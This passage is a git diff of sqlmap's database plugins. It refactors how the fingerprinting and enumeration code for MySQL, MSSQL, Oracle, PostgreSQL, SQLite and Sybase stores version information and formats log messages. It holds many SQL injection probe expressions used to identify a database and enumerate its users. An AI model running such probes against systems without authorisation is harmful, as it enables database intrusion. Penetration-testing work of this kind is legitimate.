LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not @@ -95,20 +94,19 @@ class Fingerprint(GenericFingerprint): result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) if result: - infoMsg = "confirming Microsoft SQL Server" + infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) - for version, check in [\ - ("2000", "HOST_NAME()=HOST_NAME()"),\ - ("2005", "XACT_STATE()=XACT_STATE()"),\ - ("2008", "SYSDATETIME()=SYSDATETIME()") ]: + for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \ + ("2005", "XACT_STATE()=XACT_STATE()"), \ + ("2008", "SYSDATETIME()=SYSDATETIME()") ]: result = inject.checkBooleanExpression(check) if result: - kb.dbmsVersion = [version] + backend.setVersion(version) - if kb.dbmsVersion: - setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0])) + if backend.getVersion(): + setDbms("%s %s" % (DBMS.MSSQL, backend.getVersion())) else: setDbms(DBMS.MSSQL) @@ -118,7 +116,7 @@ class Fingerprint(GenericFingerprint): return True else: - warnMsg = "the back-end DBMS is not Microsoft SQL Server" + warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index abd502898..65c8104b5 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission import re from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getErrorParsedDBMSesFormatted +from lib.core.common import backend +from lib.core.common import format from lib.core.common import getUnicode from lib.core.common import randomInt from lib.core.data import conf @@ -33,14 +32,14 @@ class Fingerprint(GenericFingerprint): GenericFingerprint.__init__(self, DBMS.MYSQL) def __commentCheck(self): - infoMsg = "executing MySQL comment injection fingerprint" + infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) randInt = randomInt() result = inject.checkBooleanExpression("%d=%d/* NoValue */" % (randInt, randInt)) if not result: - warnMsg = "unable to perform MySQL comment injection" + warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL logger.warn(warnMsg) return None @@ -98,19 +97,19 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp - value += "back-end DBMS: " - actVer = formatDBMSfp() + value += "back-end DBMS: " + actVer = format.getDbms() if not conf.extensiveFp: value += actVer @@ -121,7 +120,7 @@ class Fingerprint(GenericFingerprint): value += "active fingerprint: %s" % actVer if comVer: - comVer = formatDBMSfp([comVer]) + comVer = format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: @@ -130,10 +129,10 @@ class Fingerprint(GenericFingerprint): if re.search("-log$", kb.data.banner): banVer += ", logging enabled" - banVer = formatDBMSfp([banVer]) + banVer = format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -151,36 +150,38 @@ class Fingerprint(GenericFingerprint): * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ - if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in MYSQL_ALIASES) \ - or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \ - kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION: - kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "") - kb.dbmsVersion[0] = kb.dbmsVersion[0].replace("=", "") - kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(" ", "") + if not conf.extensiveFp and (backend.isDbmsWithin(MYSQL_ALIASES) \ + or conf.dbms in MYSQL_ALIASES) and backend.getVersion() and \ + backend.getVersion() != UNKNOWN_DBMS_VERSION: + v = backend.getVersion().replace(">", "") + v = v.replace("=", "") + v = v.replace(" ", "") - setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0])) + backend.setVersion(v) - if str(kb.dbmsVersion[0]) >= '5': + setDbms("%s %s" % (DBMS.MYSQL, backend.getVersion())) + + if backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True - infoMsg = "testing MySQL" + infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) randInt = getUnicode(randomInt(1)) result = inject.checkBooleanExpression("CONNECTION_ID()=CONNECTION_ID()") if result: - infoMsg = "confirming MySQL" + infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("USER()=USER()") if not result: - warnMsg = "the back-end DBMS is not MySQL" + warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False @@ -189,52 +190,55 @@ class Fingerprint(GenericFingerprint): #if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)" % (randInt, randInt)): if inject.checkBooleanExpression("EXISTS(SELECT %s FROM information_schema.TABLES)" % randInt): kb.data.has_information_schema = True - kb.dbmsVersion = [">= 5.0.0"] + backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True + infoMsg = "actively fingerprinting %s" % DBMS.MYSQL + logger.info(infoMsg) + # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): - kb.dbmsVersion = [">= 5.5.0"] + backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)): - kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"] + backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt,randInt)): - kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"] + backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)): - kb.dbmsVersion = ["= 5.1.6"] + backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)): - kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] + backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: - kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"] + backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): - kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] + backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): - kb.dbmsVersion = [">= 5.0.19", "< 5.0.38"] + backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)): - kb.dbmsVersion = [">= 5.0.11", "< 5.0.19"] + backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): - kb.dbmsVersion = [">= 5.0.6", "< 5.0.11"] + backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): - kb.dbmsVersion = [">= 5.0.3", "< 5.0.6"] + backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: - kb.dbmsVersion = [">= 5.0.0", "< 5.0.3"] + backend.setVersionList([">= 5.0.0", "< 5.0.3"]) # For cases when information_schema is missing elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): - kb.dbmsVersion = [">= 5.0.2"] + backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): - kb.dbmsVersion = ["< 5.0.0"] + backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() @@ -243,26 +247,26 @@ class Fingerprint(GenericFingerprint): # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): - kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] + backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): - kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] + backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): - kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] + backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): - kb.dbmsVersion = ["= 4.1.0"] + backend.setVersion("= 4.1.0") else: - kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] + backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: - kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] + backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: - kb.dbmsVersion = ["< 4.0.0"] + backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: - warnMsg = "the back-end DBMS is not MySQL" + warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False @@ -275,9 +279,10 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) result = inject.checkBooleanExpression("'/'=(SELECT MID(@@datadir, 1, 1))") - if result is True: + + if result: kb.os = "Linux" - elif result is False: + elif not result: kb.os = "Windows" if kb.os: diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index cbf397fa7..11384382a 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable @@ -30,7 +30,7 @@ class Enumeration(GenericEnumeration): def getRoles(self, query2=False): infoMsg = "fetching database users roles" - rootQuery = queries[getIdentifiedDBMS()].roles + rootQuery = queries[backend.getIdentifiedDbms()].roles if conf.user == "CU": infoMsg += " for current user" @@ -179,7 +179,7 @@ class Enumeration(GenericEnumeration): return [] def searchColumn(self): - rootQuery = queries[getIdentifiedDBMS()].search_column + rootQuery = queries[backend.getIdentifiedDbms()].search_column foundCols = {} dbs = { "USERS": {} } colList = conf.col.split(",") diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 0e5466a0e..95b58c193 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission import re from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getErrorParsedDBMSesFormatted +from lib.core.common import backend +from lib.core.common import format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -30,13 +29,13 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp @@ -56,7 +55,7 @@ class Fingerprint(GenericFingerprint): banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -64,14 +63,14 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES: + if not conf.extensiveFp and (backend.isDbmsWithin(ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True - logMsg = "testing Oracle" + logMsg = "testing %s" % DBMS.ORACLE logger.info(logMsg) # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting @@ -82,7 +81,7 @@ class Fingerprint(GenericFingerprint): result = inject.checkBooleanExpression("ROWNUM=ROWNUM") if result: - logMsg = "confirming Oracle" + logMsg = "confirming %s" % DBMS.ORACLE logger.info(logMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does @@ -93,7 +92,7 @@ class Fingerprint(GenericFingerprint): result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if not result: - warnMsg = "the back-end DBMS is not Oracle" + warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False @@ -105,17 +104,20 @@ class Fingerprint(GenericFingerprint): if not conf.extensiveFp: return True + infoMsg = "actively fingerprinting %s" % DBMS.ORACLE + logger.info(infoMsg) + for version in ("11i", "10g", "9i", "8i"): number = int(re.search("([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION), 1, %d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: - kb.dbmsVersion = [ version ] + backend.setVersion(version) break return True else: - warnMsg = "the back-end DBMS is not Oracle" + warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False @@ -126,7 +128,7 @@ class Fingerprint(GenericFingerprint): else: conf.db = "USERS" - warnMsg = "on Oracle it is only possible to enumerate " + warnMsg = "on %s it is only possible to enumerate " % DBMS.ORACLE warnMsg += "if you provide a TABLESPACE_NAME as database " warnMsg += "name. sqlmap is going to use 'USERS' as database " warnMsg += "name" diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index ae8ad8257..e5a66ad40 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission import re from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getErrorParsedDBMSesFormatted +from lib.core.common import backend +from lib.core.common import format from lib.core.common import getUnicode from lib.core.common import randomInt from lib.core.data import conf @@ -33,13 +32,13 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp @@ -59,7 +58,7 @@ class Fingerprint(GenericFingerprint): banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -73,27 +72,27 @@ class Fingerprint(GenericFingerprint): * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2) """ - if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES: + if not conf.extensiveFp and (backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() return True - infoMsg = "testing PostgreSQL" + infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) randInt = getUnicode(randomInt(1)) result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt)) if result: - infoMsg = "confirming PostgreSQL" + infoMsg = "confirming %s" % DBMS.PGSQL logger.info(infoMsg) result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt)) if not result: - warnMsg = "the back-end DBMS is not PostgreSQL" + warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False @@ -105,40 +104,43 @@ class Fingerprint(GenericFingerprint): if not conf.extensiveFp: return True + infoMsg = "actively fingerprinting %s" % DBMS.PGSQL + logger.info(infoMsg) + if inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"): - kb.dbmsVersion = [">= 8.4.0"] + backend.setVersion(">= 8.4.0") elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"): - kb.dbmsVersion = [">= 8.3.0", "< 8.4"] + backend.setVersionList([">= 8.3.0", "< 8.4"]) elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"): - kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"] + backend.setVersionList([">= 8.2.0", "< 8.3.0"]) elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"): - kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] + backend.setVersionList([">= 8.1.0", "< 8.2.0"]) elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"): - kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] + backend.setVersionList([">= 8.0.0", "< 8.1.0"]) elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"): - kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] + backend.setVersionList([">= 7.4.0", "< 8.0.0"]) elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"): - kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] + backend.setVersionList([">= 7.3.0", "< 7.4.0"]) elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"): - kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] + backend.setVersionList([">= 7.2.0", "< 7.3.0"]) elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"): - kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] + backend.setVersionList([">= 7.1.0", "< 7.2.0"]) elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"): - kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] + backend.setVersionList([">= 7.0.0", "< 7.1.0"]) elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"): - kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] + backend.setVersionList([">= 6.5.0", "< 6.5.3"]) elif inject.checkBooleanExpression("VERSION()=VERSION()"): - kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] + backend.setVersionList([">= 6.4.0", "< 6.5.0"]) elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"): - kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] + backend.setVersionList([">= 6.3.0", "< 6.4.0"]) elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"): - kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] + backend.setVersionList([">= 6.2.0", "< 6.3.0"]) else: - kb.dbmsVersion = ["< 6.2.0"] + backend.setVersion("< 6.2.0") return True else: - warnMsg = "the back-end DBMS is not PostgreSQL" + warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL logger.warn(warnMsg) return False @@ -178,7 +180,7 @@ class Fingerprint(GenericFingerprint): if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": conf.db = "public" - warnMsg = "on PostgreSQL it is only possible to enumerate " + warnMsg = "on %s it is only possible to enumerate " % DBMS.PGSQL warnMsg += "on the current schema and on system databases, " warnMsg += "sqlmap is going to use 'public' schema as " warnMsg += "database name" diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 45fffc158..ae0123ea2 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getErrorParsedDBMSesFormatted +from lib.core.common import backend +from lib.core.common import format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -29,13 +28,13 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp @@ -55,7 +54,7 @@ class Fingerprint(GenericFingerprint): banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -70,32 +69,36 @@ class Fingerprint(GenericFingerprint): * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ - if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES: + if not conf.extensiveFp and (backend.isDbmsWithin(SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() return True - logMsg = "testing SQLite" + logMsg = "testing %s" % DBMS.SQLITE logger.info(logMsg) result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") if result: - logMsg = "confirming SQLite" + logMsg = "confirming %s" % DBMS.SQLITE logger.info(logMsg) result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()") if not result: - warnMsg = "the back-end DBMS is not SQLite" + warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False else: + infoMsg = "actively fingerprinting %s" % DBMS.SQLITE + logger.info(infoMsg) + result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") - kb.dbmsVersion = [ '3' if result else '2' ] + version = '3' if result else '2' + backend.setVersion(version) setDbms(DBMS.SQLITE) @@ -103,7 +106,7 @@ class Fingerprint(GenericFingerprint): return True else: - warnMsg = "the back-end DBMS is not SQLite" + warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 28051357b..57a3fd6f1 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getErrorParsedDBMSesFormatted +from lib.core.common import backend +from lib.core.common import format from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb @@ -29,13 +28,13 @@ class Fingerprint(GenericFingerprint): def getFingerprint(self): value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) + wsOsFp = format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp @@ -55,7 +54,7 @@ class Fingerprint(GenericFingerprint): banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - htmlErrorFp = getErrorParsedDBMSesFormatted() + htmlErrorFp = format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) @@ -63,10 +62,10 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in SYBASE_ALIASES) \ - or conf.dbms in SYBASE_ALIASES) and kb.dbmsVersion and \ - kb.dbmsVersion[0].isdigit(): - setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0])) + if not conf.extensiveFp and (backend.isDbmsWithin(SYBASE_ALIASES) \ + or conf.dbms in SYBASE_ALIASES) and backend.getVersion() and \ + backend.getVersion().isdigit(): + setDbms("%s %s" % (DBMS.SYBASE, backend.getVersion())) self.getBanner() @@ -74,7 +73,7 @@ class Fingerprint(GenericFingerprint): return True - infoMsg = "testing Sybase" + infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: @@ -83,13 +82,13 @@ class Fingerprint(GenericFingerprint): result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()") if result: - logMsg = "confirming Sybase" + logMsg = "confirming %s" % DBMS.SYBASE logger.info(logMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: - warnMsg = "the back-end DBMS is not Sybase" + warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False @@ -101,15 +100,19 @@ class Fingerprint(GenericFingerprint): if not conf.extensiveFp: return True + infoMsg = "actively fingerprinting %s" % DBMS.SYBASE + logger.info(infoMsg) + for version in range(12, 16): result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version) + if result: - kb.dbmsVersion = ["%d" % version] + backend.setVersion(str(version)) break return True else: - warnMsg = "the back-end DBMS is not Sybase" + warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 63ec2656e..a3111fbff 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -12,12 +12,13 @@ import time from lib.core.agent import agent from lib.core.common import arrayizeValue +from lib.core.common import backend from lib.core.common import dataToStdout from lib.core.common import getRange from lib.core.common import getCompiledRegex from lib.core.common import getConsoleWidth from lib.core.common import getFileItems -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import getUnicode from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable @@ -84,7 +85,7 @@ class Enumeration: infoMsg = "fetching banner" logger.info(infoMsg) - query = queries[getIdentifiedDBMS()].banner.query + query = queries[backend.getIdentifiedDbms()].banner.query kb.data.banner = inject.getValue(query) bannerParser(kb.data.banner) @@ -106,7 +107,7 @@ class Enumeration: infoMsg = "fetching current user" logger.info(infoMsg) - query = queries[getIdentifiedDBMS()].current_user.query + query = queries[backend.getIdentifiedDbms()].current_user.query if not kb.data.currentUser: kb.data.currentUser = inject.getValue(query) @@ -117,7 +118,7 @@ class Enumeration: infoMsg = "fetching current database" logger.info(infoMsg) - query = queries[getIdentifiedDBMS()].current_db.query + query = queries[backend.getIdentifiedDbms()].current_db.query if not kb.data.currentDb: kb.data.currentDb = inject.getValue(query) @@ -128,11 +129,11 @@ class Enumeration: infoMsg = "testing if current user is DBA" logger.info(infoMsg) - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: self.getCurrentUser() - query = queries[getIdentifiedDBMS()].is_dba.query % kb.data.currentUser.split("@")[0] + query = queries[backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] else: - query = queries[getIdentifiedDBMS()].is_dba.query + query = queries[backend.getIdentifiedDbms()].is_dba.query query = agent.forgeCaseStatement(query) @@ -144,10 +145,10 @@ class Enumeration: infoMsg = "fetching database users" logger.info(infoMsg) - rootQuery = queries[getIdentifiedDBMS()].users + rootQuery = queries[backend.getIdentifiedDbms()].users - condition = ( getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) ) - condition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema ) + condition = ( backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")) ) + condition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema ) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if condition: @@ -173,14 +174,14 @@ class Enumeration: errMsg = "unable to retrieve the number of database users" raise sqlmapNoneDataException, errMsg - if getIdentifiedDBMS() == DBMS.ORACLE: + if backend.getIdentifiedDbms() == DBMS.ORACLE: plusOne = True else: plusOne = False 